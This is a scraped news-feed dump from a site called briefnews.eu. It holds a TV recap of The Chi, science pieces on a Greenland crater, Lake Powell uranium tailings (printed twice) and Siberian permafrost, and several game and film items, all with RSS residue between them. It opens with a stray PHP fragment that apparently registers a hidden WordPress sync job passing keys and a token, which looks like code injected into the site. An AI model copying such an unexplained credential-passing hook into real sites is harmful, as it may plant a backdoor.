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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Beneath – Brief News https://briefnews.eu Latest World News. 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It’s an indicator of how ridiculously depressing 2020 has been so far that when we get evidence in this week’s The Chi that Kiesha is alive — even though she’s being held captive in some predator’s basement — it feels like a huge win.

After all, she’s not dead like the poor young woman found by the lake in last week’s episode. But the fact that Kiesha’s captor is doing things like bathing her and keeping her every move under surveillance certainly makes it seem like there are more horrible acts going on in that prison than we see during the hour. (And we see some pretty rough stuff.)

The hour opens with Kiesha sitting in a bathtub while the man washes her; she’s traumatized as he talks about how she was “dressed like a slut” when he found her, but that “Daddy’s gonna make you clean.” (Side note: Shudder.) Later, he dresses her in a track suit and force-feeds her cereal. There are a bunch of trophies and a treadmill in the background; everything points toward some kind of track fetish, which makes everything just a little more horrible, right?

Even when the man isn’t there, he’s got his creepy eye on Kiesha: There are several cameras all over the basement apartment, even one in the bathroom, and he lets her know that he’s watching her even when she pees. So when a blackout knocks out all the power on the South Side of the city — and turns off the cameras — Kiesha realizes that it’s her one chance at a possible escape.

She throws herself at the door to her room until it gives way, then runs up some stairs. She somehow gets herself through that door, as well, and falls on the ground outside, sobbing in relief. She’s free! But then the man who kidnapped her appears in the doorway and rushes out, grabbing her and carrying her back inside as she screams.

Somewhere in the vicinity, Ronnie — who’s just returned Ethel to her nursing home after she went missing during the blackout — hears the young woman’s cries. “Kiesha?” he says, right at the end of the episode.

Elsewhere in the Windy City:

the-chi-recap-season-3-episode-5-terror-town-* Papa’s father baptizes Ronnie and gives him some new clothes.

* Roselyn and Douda talk campaign strategy while having sex in his office. Later, when the power goes out, she helps him mobilize staffers and volunteers to provide the South Side with pizza, flashlights and other assistance. At the end of the episode, Jake and Douda are having a nice moment listening to jazz together when Big Mike shows up: There’s a guy who was defacing a Perry campaign poster, and what does Douda want to do with him? Jake asks if he can accompany his surrogate dad out back, and Douda says yes. So Jake watches as Douda beats the pizza sauce outta the guy. Then, Jake runs.

* A social worker shows up, unannounced, at Trig’s place to inspect it and see if it’s fit for Jake to live in. She’s not impressed by a broken electrical outlet, and she questions whether Imani has a business to style hair in the home. There’s also some contention about how Trig referred to Imani as his “wife” on the paperwork he submitted, even though they’re not married. Trig gets very defensive very quickly, but Imani defuses the situation a little, and the social worker advises them to make some changes in advance of the next step in the process. Later, Trig finds Imani packing: She’s worried that her background — she killed her father in self-defense; he tried to choke her after finding her in drag — will mess up Trig’s efforts to get legal guardianship of his brother. “I need you here,” he tells her. “Jake needs you, too.” She relents. Later, as they’re sitting in the living room, there’s a knock at the door: It’s Jake, and he’s traumatized after the violent attack he witnessed. Trig sits his brother down on the couch and hugs him.

the-chi-recap-season-3-episode-5-terror-town* The blackout forces Emmett and Dom to take their after-hours eatery outside. The barbecue event is such a hit that it draws a huge crowd… including Sonny, who angrily informs Emmett that he’s known about his duplicity but was hoping that Emmett would grow up and admit to what he’s been doing. The older man calls Emmett “the son I never had” and says he’d been looking forward to the time when he would settle down. “Guess I was wrong,” he adds, ordering Emmett off his property. “You wasn’t nothing but a waste of my time.”

* Jake, Kevin, Jemma, Papa and Maisha investigate an abandoned building they think is haunted. Honestly, the scariest thing there is the disdain Jake aims at Jemma: He really doesn’t like her. When the blackout happens, they get spooked and quickly exit: Because car services are taking too long, Kevin and Jemma choose to walk home through some sketchy areas. Later, they get something to eat and dance with Papa and Maisha — who’ve agreed to date exclusively.

* Jada accompanies Tomas to a family party, where she learns that he is a widower. She nearly has a panic attack in the bathroom over the revelation, but he calms her later with assurances that there’s something real between them.

Now it’s your turn. What did you think of the latest episode? Sound off in the comments!

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]]> https://briefnews.eu/the-chi-recap-what-lies-beneath/feed/ 0 Huge, previously unknown impact crater found beneath Greenland’s ice https://briefnews.eu/huge-previously-unknown-impact-crater-found-beneath-greenlands-ice/ https://briefnews.eu/huge-previously-unknown-impact-crater-found-beneath-greenlands-ice/#respond Sun, 18 Nov 2018 16:25:41 +0000 http://briefnews.eu/huge-previously-unknown-impact-crater-found-beneath-greenlands-ice/
Huge, previously unknown impact crater found beneath Greenland’s ice

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You might not think of giant impact craters as being particularly subtle or in any way capable of hiding from us. If so, you’ll be surprised by the discovery, announced this week, of a 31-kilometer- (19-mile-) wide crater we didn’t know existed.

Let’s get the important questions out of the way—no, the crater isn’t home to a Godzilla or some Lovecraftian horror. It’s filled with ice. And that’s how it escaped our notice for so long.

The crater lies beneath Hiawatha Glacier in northwestern Greenland. One of the tools researchers use to monitor the shrinking of the Greenland Ice Sheet is airborne radar surveys. The resulting high-resolution data shows the shape of the ice sheet’s surface, some of its internal layering, and even the bedrock below. In this case, it revealed a suspiciously circular depression in the ice near the glacier’s edge.

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]]> https://briefnews.eu/huge-previously-unknown-impact-crater-found-beneath-greenlands-ice/feed/ 0 Review: Founders of Gloomhaven groans beneath its own weight https://briefnews.eu/review-founders-of-gloomhaven-groans-beneath-its-own-weight/ https://briefnews.eu/review-founders-of-gloomhaven-groans-beneath-its-own-weight/#respond Sat, 22 Sep 2018 14:16:46 +0000 http://briefnews.eu/review-founders-of-gloomhaven-groans-beneath-its-own-weight/
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“In the age after the Demon War, the continent enjoys a period of prosperity. Humans have made peace with the Valrath and Inox. Quatryls and Orchids arrive from across the Misty Sea looking to trade. It is decided that a new city will be built on the eastern shores—a hub of trade and a symbol of many races working in harmony. Each race brings their own specialty to the city, and each race holds a desire for influence over the city by contributing the most to its construction.”

This, the opening paragraph of Founders of Gloomhaven’s bewilderingly dense manual, might mean something to hardcore board gamers—but to anyone who hasn’t played the original Gloomhaven, the current heavyweight champion of board gaming, it’s confusing (to say the least). As you’ll see, confusion and complexity are the order of the day with Founders.

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]]> https://briefnews.eu/review-founders-of-gloomhaven-groans-beneath-its-own-weight/feed/ 0 20,000 Atmospheres Promises A Dungeon Crawler Deep Beneath The Ocean Surface https://briefnews.eu/20000-atmospheres-promises-a-dungeon-crawler-deep-beneath-the-ocean-surface/ https://briefnews.eu/20000-atmospheres-promises-a-dungeon-crawler-deep-beneath-the-ocean-surface/#respond Thu, 10 May 2018 06:38:20 +0000 http://briefnews.eu/20000-atmospheres-promises-a-dungeon-crawler-deep-beneath-the-ocean-surface/ 2000.png

There’s something unique about a game that focuses on a tactile UI and mechanics. From the hands-on manipulation of The Room and Myst to the command consoles of Deadnaut and the grainy screens of Capsule, it’s one way to immerse the player in the role of a character and in a setting. 20,000 Atmospheres looks to be another intriguing approach of the concept, taking the dungeon crawler to the crushing depths and forcing you to view the world through the sensors and screens of your mysterious vessel.

Set with the claustrophobic brass and leather interior of a “nauti-crawl unit”, 20,000 Atmospheres is described as “a Jules Verne meets Frank Herbert story”, placing you in the role of confused survivor trapped in a vessel that they have no idea how to operate. Switches, levers, buttons, multiple screens, each has a function, and together, they allow you to form a picture of the world outside your unit.

Figuring out how to operate the cockpit is as much a gameplay mechanic as actually exploring in this uniquely first person roguelite dungeon crawler. Traveling the depths, searching for terminals to hack and other locations looks like a deliberate and tense affair, since your perspective of the world and your means of navigation is far removed from the WASD controls of other games. Here, movement, power system, radar must be manually activated and managed, all while your vessel groans and threatens to crumple upon a poor decision.

Little else is known about 20,000 Atmospheres’ moment-to-moment gameplay, as it’s still relatively early in development. You can follow the game’s progress through its Itch.io and Twitter pages.

]]> https://briefnews.eu/20000-atmospheres-promises-a-dungeon-crawler-deep-beneath-the-ocean-surface/feed/ 0 ‘The Meg’ Photo: A Very Big Shark Lurks Beneath Unsuspecting Beachgoers https://briefnews.eu/the-meg-photo-a-very-big-shark-lurks-beneath-unsuspecting-beachgoers/ https://briefnews.eu/the-meg-photo-a-very-big-shark-lurks-beneath-unsuspecting-beachgoers/#respond Sat, 07 Apr 2018 12:31:20 +0000 http://briefnews.eu/the-meg-photo-a-very-big-shark-lurks-beneath-unsuspecting-beachgoers/ The Meg photo

What lies beneath the waves? It’s a question all of us have when we go to the beach, but the characters in Warner Bros.’ upcoming The Meg aren’t going to like the answer. A 70-foot shark called a megalodon that was long thought to be extinct has surfaced again, and only a Navy diver played by Jason Statham can save the day.

A new photo from the film has made its way online, along with a story from Statham about how he swam with real sharks to prepare for his role.

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Director Jon Turteltaub‘s last three films were National Treasure: Book of Secrets, the all-but-forgotten 2010 live-action version of The Sorcerer’s Apprentice, and the old guy comedy Last Vegas. But his future is looking bright with The Meg, because who wouldn’t want to see Statham face off against a giant prehistoric shark?

Take a look at this new photo from Entertainment Weekly:

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That gives you a bit of an idea of the scale of this beast, which is far larger than the shark in Steven Spielberg’s Jaws. But bigger doesn’t always necessarily mean better, and with a trailer for The Meg coming this Monday, that should give us a better sense of what to expect when the film debuts this summer. The film has been in the works since the late ’90s – that header image is concept art from an abandoned version of the movie.

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EW also has a quote from Statham about how he swam with actual sharks in order to prep for his character:

“On the early stages of the prep, we took a trip to Fiji, and we went diving with some bull sharks. They hand-feed them and it’s a spectacular thing to see. These things are three meters in length, huge big things. There were 20 or 30 of these things, and they were hand-feeding [them] big tuna heads, and we got very, very close, and it was a spectacular moment. To swim in close proximity to a big, three-meter shark, is to be recommended to all and everyone.”

In the film, which is based on Steve Alten’s 1997 novel, Statham plays a U.S. Navy diver named Jonas Taylor. But the British actor already has quite a history being in the water, since he was on the British national diving team before he began his acting career:

He’ll be doing a different type of diving here – and hopefully drop-kicking the shark in the jaw at some point, too.

The Meg will chomp its way into theaters on August 10, 2018.

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]]> https://briefnews.eu/the-meg-photo-a-very-big-shark-lurks-beneath-unsuspecting-beachgoers/feed/ 0 Does a Ticking Time Bomb Lurk Beneath Lake Powell? https://briefnews.eu/does-a-ticking-time-bomb-lurk-beneath-lake-powell-2/ https://briefnews.eu/does-a-ticking-time-bomb-lurk-beneath-lake-powell-2/#respond Thu, 08 Mar 2018 04:45:59 +0000 http://briefnews.eu/does-a-ticking-time-bomb-lurk-beneath-lake-powell-2/ Each year, some 3 million visitors are drawn to Lake Powell, a massive artificial body of water that straddles the Utah-Arizona border. Below gleaming red-rock cliffs, the reservoir is busy with Jet Skis, motorboats and luxurious houseboats that resemble floating Winnebagos. Out of sight but a crucial part of this iconic picture are Westerners who rely on the lake for more than recreation.

On the surface, Lake Powell seems like a dream, but below its dark-blue waters lurks an ominous legacy:

An estimated 26,000 tons of radioactive waste are covered by the silt of Lake Powell, which is part of a system that provides drinking water for 40 million people in the Southwest.

Huge piles of mining tailings rose along the banks of the Colorado River during the West’s uranium boom of the 1940s and 1950s. The White Canyon mill, built by the Vanadium Corporation of America in 1949, for example, crushed and treated 20 tons of ore per day with sulfuric acid, tributyl phosphate and other compounds, according to a Freedom of Information Act request. With 1 ton of ore yielding 5 or 6 pounds of uranium, some 39,900 pounds of tailings accumulated daily on the banks of the river, according to Jonathan Thompson, author of River of Lost Souls. Though the mill closed in 1953 and Vanadium Corp. went out of business, the tailings remained. After water began accumulating behind the Glen Canyon Dam about a decade later, the reservoir’s waters inundated the tailings.

The drought from 2000 to 2005 dropped the water level nearly 100 feet — about a fifth of its total depth.

“For the people enjoying Lake Powell, they’re not exposed to anything that’s going to hurt them,” says Phil Goble, uranium mill and radioactive materials section manager for the Utah Department of Environmental Quality. “The uranium mill tailings produce a sandy waste that contains heavy metals and radium, which is radioactive, but these tailings have been down there since around the 1950s, with several feet of sediment placed over top of them and the water used as a moderator, or a shield.”

The Environmental Protection Agency says two public water systems draw water directly from Lake Powell: the Navajo Generating Station and the city of Page, Arizona. “All community water systems are required to monitor and meet established drinking water standards for a suite of radionuclides to include gross alpha, combined radium 226/228 and uranium,” says Nahal Mogharabi, spokesperson for the EPA Region 9 (Pacific Southwest). “The city of Page water system is serving drinking water that meets the drinking water standards for radionuclides.”

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Not everyone is so sanguine. “We have no reason to doubt that there is significant radioactive waste under Lake Powell,” says Sandy Bahr, chapter director for Sierra Club’s Grand Canyon (Arizona) Chapter. “What we have said repeatedly about the uranium mine and mills is that it is not worth the risk to our drinking water.” Goble spells out the risks if radioactive elements like uranium or radium get into the lining of a human’s lungs: anemia, fractured teeth, cataracts and cancer.

And it’s not just a power plant and a small Arizona city that could be affected. Jim Pokrandt, director of community affairs for the Colorado River District, says Powell is like a “savings account” whereby the four upper basin states — Colorado, Wyoming, Utah and New Mexico — can meet their annual water supply obligations under the Colorado River Compact of 1922 to the lower basin states and to Mexico. “In a sense, Powell serves all 40 million people by protecting upper basin uses, which occur before water gets to Powell, and then supplying resources to the lower basin, which stores water in Lake Mead to meet lower basin needs.”

While the situation is currently under control, there are scenarios that could upend the status quo. “The tailings could potentially become a problem if Lake Powell gets to a very, very low water level or if the lake is drained, and the tailings are exposed,” Goble says. “In this case, if someone were to dig down and expose those tailings, or the wind blows them, or people use the spot for recreational use of off-road vehicles, then there could be a health hazard.”

Bruce Rittmann, a regents’ professor in the School of Sustainable Engineering and the Built Environment at Arizona State University, agrees that the tailings currently pose no risk to people or aquatic life in the lake, but that could change if something disrupts the tailings, such as the draining of the lake or a dredging operation that stirs up sediment.

Draining the lake may sound ludicrous, but the reservoir hasn’t been full since the late 1990s, and ongoing overuse and the drought from 2000 to 2005 dropped the water level nearly 100 feet — about a fifth of its total depth. Some scientists predict that climate change will intensify and prolong the West’s drought cycles. If that happens and Powell becomes a red-rock canyon once again, then an old mess may finally have to be cleaned up.

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]]> https://briefnews.eu/does-a-ticking-time-bomb-lurk-beneath-lake-powell-2/feed/ 0 Does a Ticking Time Bomb Lurk Beneath Lake Powell? https://briefnews.eu/does-a-ticking-time-bomb-lurk-beneath-lake-powell/ https://briefnews.eu/does-a-ticking-time-bomb-lurk-beneath-lake-powell/#respond Wed, 07 Mar 2018 16:49:46 +0000 http://briefnews.eu/does-a-ticking-time-bomb-lurk-beneath-lake-powell/ Each year, some 3 million visitors are drawn to Lake Powell, a massive artificial body of water that straddles the Utah-Arizona border. Below gleaming red-rock cliffs, the reservoir is busy with Jet Skis, motorboats and luxurious houseboats that resemble floating Winnebagos. Out of sight but a crucial part of this iconic picture are Westerners who rely on the lake for more than recreation.

On the surface, Lake Powell seems like a dream, but below its dark-blue waters lurks an ominous legacy:

An estimated 26,000 tons of radioactive waste are covered by the silt of Lake Powell, which is part of a system that provides drinking water for 40 million people in the Southwest.

Huge piles of mining tailings rose along the banks of the Colorado River during the West’s uranium boom of the 1940s and 1950s. The White Canyon mill, built by the Vanadium Corporation of America in 1949, for example, crushed and treated 20 tons of ore per day with sulfuric acid, tributyl phosphate and other compounds, according to a Freedom of Information Act request. With 1 ton of ore yielding 5 or 6 pounds of uranium, some 39,900 pounds of tailings accumulated daily on the banks of the river, according to Jonathan Thompson, author of River of Lost Souls. Though the mill closed in 1953 and Vanadium Corp. went out of business, the tailings remained. After water began accumulating behind the Glen Canyon Dam about a decade later, the reservoir’s waters inundated the tailings.

The drought from 2000 to 2005 dropped the water level nearly 100 feet — about a fifth of its total depth.

“For the people enjoying Lake Powell, they’re not exposed to anything that’s going to hurt them,” says Phil Goble, uranium mill and radioactive materials section manager for the Utah Department of Environmental Quality. “The uranium mill tailings produce a sandy waste that contains heavy metals and radium, which is radioactive, but these tailings have been down there since around the 1950s, with several feet of sediment placed over top of them and the water used as a moderator, or a shield.”

The Environmental Protection Agency says two public water systems draw water directly from Lake Powell: the Navajo Generating Station and the city of Page, Arizona. “All community water systems are required to monitor and meet established drinking water standards for a suite of radionuclides to include gross alpha, combined radium 226/228 and uranium,” says Nahal Mogharabi, spokesperson for the EPA Region 9 (Pacific Southwest). “The city of Page water system is serving drinking water that meets the drinking water standards for radionuclides.”

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Not everyone is so sanguine. “We have no reason to doubt that there is significant radioactive waste under Lake Powell,” says Sandy Bahr, chapter director for Sierra Club’s Grand Canyon (Arizona) Chapter. “What we have said repeatedly about the uranium mine and mills is that it is not worth the risk to our drinking water.” Goble spells out the risks if radioactive elements like uranium or radium get into the lining of a human’s lungs: anemia, fractured teeth, cataracts and cancer.

And it’s not just a power plant and a small Arizona city that could be affected. Jim Pokrandt, director of community affairs for the Colorado River District, says Powell is like a “savings account” whereby the four upper basin states — Colorado, Wyoming, Utah and New Mexico — can meet their annual water supply obligations under the Colorado River Compact of 1922 to the lower basin states and to Mexico. “In a sense, Powell serves all 40 million people by protecting upper basin uses, which occur before water gets to Powell, and then supplying resources to the lower basin, which stores water in Lake Mead to meet lower basin needs.”

While the situation is currently under control, there are scenarios that could upend the status quo. “The tailings could potentially become a problem if Lake Powell gets to a very, very low water level or if the lake is drained, and the tailings are exposed,” Goble says. “In this case, if someone were to dig down and expose those tailings, or the wind blows them, or people use the spot for recreational use of off-road vehicles, then there could be a health hazard.”

Bruce Rittmann, a regents’ professor in the School of Sustainable Engineering and the Built Environment at Arizona State University, agrees that the tailings currently pose no risk to people or aquatic life in the lake, but that could change if something disrupts the tailings, such as the draining of the lake or a dredging operation that stirs up sediment.

Draining the lake may sound ludicrous, but the reservoir hasn’t been full since the late 1990s, and ongoing overuse and the drought from 2000 to 2005 dropped the water level nearly 100 feet — about a fifth of its total depth. Some scientists predict that climate change will intensify and prolong the West’s drought cycles. If that happens and Powell becomes a red-rock canyon once again, then an old mess may finally have to be cleaned up.

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]]> https://briefnews.eu/2020-mercedes-benz-s-class-spied-big-changes-beneath-its-classy-body-future-cars/feed/ 0 What lies beneath: Melting Siberian permafrost has revealed some terrifying creatures (PHOTOS) https://briefnews.eu/what-lies-beneath-melting-siberian-permafrost-has-revealed-some-terrifying-creatures-photos/ https://briefnews.eu/what-lies-beneath-melting-siberian-permafrost-has-revealed-some-terrifying-creatures-photos/#respond Mon, 01 Jan 2018 21:05:08 +0000 http://briefnews.eu/what-lies-beneath-melting-siberian-permafrost-has-revealed-some-terrifying-creatures-photos/

The Siberian unicorn – long believed to have died out 350,000 years ago – was actually still alive as recently as 29,000 years ago, according to the analysis of a well-preserved skull found in the Pavlodar region of Kazakhstan.

Unicorn enthusiasts will be disappointed to learn that the extinct creature – also known as Elasmotherium sibiricum – had more in common with rhinos or woolly mammoths than fictional unicorns, however. 

It is believed to have been up to 2 meters (6.6ft) tall, and 4.5 meters (14.7ft) in length. It weighed in at a whopping four tons, and was equipped with a large horn in the middle of its forehead.

Researchers at Tomsk State University managed to date the furry beast to around 29,000 years ago, thanks to radiocarbon-dating techniques. They believe the specimen discovered in Kazakhstan was a male but have yet to determine the cause of its death.

“Most likely, the south of Western Siberia was a refugium, where this rhino persevered the longest in comparison with the rest of its range,” said Andrey Shpanski, one of the researchers, as cited by Science Alert.

“There is another possibility that it could migrate and dwell for a while in the more southern areas.”

In addition to ancient giant viruses buried beneath the permafrost, the shaggy Siberian unicorn would have shared the taiga and tundra with a host of other strange characters. 

Mammoths

The world’s best-preserved woolly mammoth, Lyuba, 42,000-years old, was found near the Yuribey River in Russia’s Ural mountains in 2007 and has toured museums around the world ever since.

Unidentified monster

This creature was discovered in the world’s third-deepest open-pit diamond mine, Udachnaya, near the town of Udachny in the Sakha Republic.

It has yet to be properly identified but speculation is rife that it may either be a dinosaur or the gnarled and mummified remains of a sable or marten. It is estimated to date back as long as 252 million years ago.

Sharp fangs indicate this monster, whatever it was, had a taste for flesh.

Siberian lions

Siberia’s permafrost also helped preserve these two extinct cave lions, which were found in the Sakha Republic in 2015. The Panthera spelaea roamed Earth during the Middle and Late Pleistocene, roughly 781,000 to 11,700 years ago.

Denisovans

Denisovans were ancient pre-humans, who differed genetically from the likes of Neanderthals, Cro-Magnons and Homo heidelbergensis. They escaped the bitter cold of Siberia by taking shelter in caves. Remains discovered in Russia’s Altai region in 2010 are believed to date back as long 110,000 years ago.

Siberian Ice Maiden

The 2,500-year-old remains of an extraordinarily well-preserved Siberian ‘Princess of Ukok’ were discovered on the Ukok Plateau in the Altay Mountains in 1993. The woman’s remains were replete with tattoos, and she was found buried with a troupe of horses and a small stash of cannabis.

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]]> https://briefnews.eu/what-lies-beneath-melting-siberian-permafrost-has-revealed-some-terrifying-creatures-photos/feed/ 0 Gorogoa review: Beneath four panels hide gaming’s most beautiful surprise https://briefnews.eu/gorogoa-review-beneath-four-panels-hide-gamings-most-beautiful-surprise/ https://briefnews.eu/gorogoa-review-beneath-four-panels-hide-gamings-most-beautiful-surprise/#respond Wed, 13 Dec 2017 11:24:29 +0000 http://briefnews.eu/gorogoa-review-beneath-four-panels-hide-gamings-most-beautiful-surprise/

Enlarge / Look into the eye of the incredible Gorogoa. (credit: Jason Roberts)

After my last click of the mouse, the screen went to black, with only the word “Gorogoa” flashing. Those seven all-caps letters exploded out of the emptiness I’d just exposed by solving the final puzzle.

I nearly doubled over in my chair, overwhelmed with the emotion I felt trying to make sense of what had transpired. The game gave me some breathing room to do so, with a solemn song playing while credits rolled. After those, a single panel appeared. The game had begun again. Flipped to page one.

I describe this “ending” moment because it answers a critical concern about the puzzle game Gorogoa, which has been in development for an astonishing six years and was made almost entirely by one man, Jason Roberts. Gorogoa is, quite frankly, short. At the end of six years of development, Roberts has produced a little over two hours of gameplay.

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